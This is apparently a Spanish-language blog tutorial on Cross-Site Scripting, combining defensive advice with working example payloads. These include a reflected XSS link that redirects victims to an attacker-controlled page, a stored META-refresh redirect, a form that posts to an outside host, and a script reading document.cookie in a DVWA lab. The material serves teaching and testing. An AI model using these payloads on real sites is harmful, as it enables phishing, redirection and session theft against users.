Son muchos los diferentes ataques informáticos a los que estamos expuestos.En este tutorial vamos a hablar sobre el ataque informático Cross-Site Scripting (XSS). Este ataque consiste en la inyección de código no deseado en aplicaciones web. Con esto un atacante podrá cambiar el comportamiento de la aplicación, con lo que se pueden corromper datos, perder información, denegar el servicio (DoS), etc.
Por ejemplo un atacante podría hacer que una página web vulnerable redirija el tráfico a la suya, con consecuencias malas tanto para el propietario de la página, cómo para los usuarios.
¿Qué consecuencias podría tener esto?
Variadas y graves, pero imagina que Facebook tiene una vulnerabilidad de este tipo, el atacante lo explota, y falsificando la página original se crea un clon de esta página, emulando así a Facebook. Los usuarios entran y el atacante se queda con sus credenciales, luego simplemente los vuelve a dirigir a la página oficial, por lo que el usuario rara vez se entera.
¿Dónde podemos comprobar si una web es vulnerable?
Puedes hacerlo de muchas formas, pero lo más común es en foros o lugares donde permiten comentarios para el caso de ataque persistente, o en las URLs en el caso del no persistente.
¿A qué se debe esta vulnerabilidad?
A que las páginas no verifican correctamente las entradas de datos que llevan a cabo los usuarios, y además no se codifica la salida. Por lo que si tienes una página web desconfía siempre de los usuarios validando sus datos, los lenguajes de programación ya traen funciones que permiten, por ejemplo la función strip_tag de PHP elimina las etiquetas HTML (pero mira las advertencias que tiene).
Vamos a ver a partir de ahora ejemplos de como se llevaría a cabo el ataque.
1. Ejemplo XSS No persistente
Queremos redirigir a una persona a una página que controlamos, pero haciéndola creer que está visitando la página original, le podemos mandar un email con el enlace acortado (o no), que tenga el siguiente contenido:
http://www.paginadeseada.com/?search=<SCRIPT>document.location ='http://www.nuestrapagina.com'</SCRIPT>Con este ejemplo queda claro lo fácil que es explotar una vulnerabilidad de este tipo.
2. Ejemplo XSS Persistente
En un comentario podemos poner un código HTML o JavaScript, que se guarde en el servidor, y que cada vez que se cargue la página que contiene el comentario redirija a nuestra página web, para este ejemplo se puede insertar el siguiente código HTML:
<META HTTP-EQUIV=”refresh” CONTENT=”1; url=http://www.nuestrapagina.com”>Pasamos a un ejemplo diferente a los que hemos visto ahora. Ahora vamos a ver ejemplos usando DVWA, aplicación web desarrollada con PHP y MySQL. Está aplicación ya viene en Metasploitable 2, que te lo puedes montar en una máquina virtual.
Nos va a permitir probar varios ataques web, y podemos modificar el grado de seguridad (para los ejemplos usamos el bajo), además podremos ver los códigos PHP a los que se está atacando, así podrás ver que no usar en tus códigos.
3. Ejemplos XSS reflected DVWA
En este apartado veremos varios ejemplos, vamos a empezar. Si metemos un nombre normal, mismamente Test, la aplicación funciona bien, veamos la imagen:
Si metemos como nombre el siguiente código:
<strong>Test<Strong>Vemos que el nombre se pone en negrita (a lo mejor en la imagen no se aprecia muy bien):
Y si metemos un input, ¿funcionara? Para probarlo insertamos el siguiente código:
<input type="text" name="userIn" value="Test">Y vemos en la siguiente imagen que ha funcionado:
Vamos a pasar al XSS Stored (almacenado).
4. Ejemplos XSS Stored DVWA
Vamos a realizar varias pruebas de concepto, lo primero que haremos es insertar un breve texto acompañado de un script como comentario, a ver qué sucede, el script es lo más fácil que se puede, es el siguiente:
Hola <script>alert("Test");</script> y adiós.
Cuando lo introduzcamos como en la foto anterior, pinchamos en Sign Guestbook, se envía el comentario, no sucede nada extraño, se ve la cadena de texto, no hay señales del script, como podemos ver a continuación:
Entonces, ¿no ha pasado nada? Bueno, comprobémoslo, refresca la página, y vemos que salta el alert:
También puedes apreciar, que el comentario solo tiene Hola, por eso se puso entre medias del texto el script, para que veas que lo lee, se para en el alert y cuando des a Aceptar tendrás el resto del texto y el resto de página que faltaba (como son los links verdes que había debajo de la parte de los comentarios).
Ahora insertaremos un formulario en el comentario, puedes apreciar que está limitado el número de caracteres que uno puede introducir a 50, pues vamos a inspeccionar el código HTML del textarea del comentario (click derecho, Inscpeccionar):
Vemos maxlength=”50”, vamos a añadirle un 0 más al final, quedando en 500, tal y como vemos a continuación:
Y ahora vamos a ingresar en comentario el siguiente código HTML:
<form action="http://www.tupagina.es/tratar_formulario.php" method="post"> Escribe tu nombre: <input type="text" name="nombre" value="" /> <br/> <input type="submit" value="Enviar" /> </form>Vemos que ya si lo acepta, así que damos a Sign Guestbook y vemos lo siguiente:
Se ha insertado el formulario, como hemos comprobado. Por último, por si quieres practicar con el nivel medio en XSS almacenado, prueba lo siguiente:
1º. Cambia el máximo de caracteres que acepta el campo Name, igual que hemos hecho antes.
2º. Añade el siguiente nombre:
Prueba <script language="javascript">alert("Test")</script>
3º. Como comentario pon lo que quieras.
4º. Envía el comentario y actualiza la pantalla, verás que se guardo.
Si quisieras sacar la Cookie, cambiaría el script por el siguiente:
<script language="javascript">alert(document.cookie)</script>Verás lo siguiente:
A continuación dejo el enlace a un framework llamado XSSer que nos servirá para detectar, explotar y reportar las vulnerabilidades XSS.
En su página viene como se instala (en Kali Linux 2016 ya viene) y ejemplos de uso.
Hemos visto las posibilidades que tiene un atacante cuando se le presenta una página web vulnerable, evitar estos ataques no es difícil, hoy en día en cualquier lenguaje de programación tenemos funciones que nos facilitan la vida. Es importante que antes de lanzar una página web compruebes estos fallos, ya que puede llegar a arruinar tu negocio.
Si quieres ver un tutorial en el que se usa esta aplicación, pero se realizan otro tipo de ataques: Pentesting con DVWA.
Para terminar se va a facilitar un enlace, por si quieres ver otro tipo de ataque, que también trata sobre inyectar código: SQL injection.
Un tutorial muy completo, ¡gracias!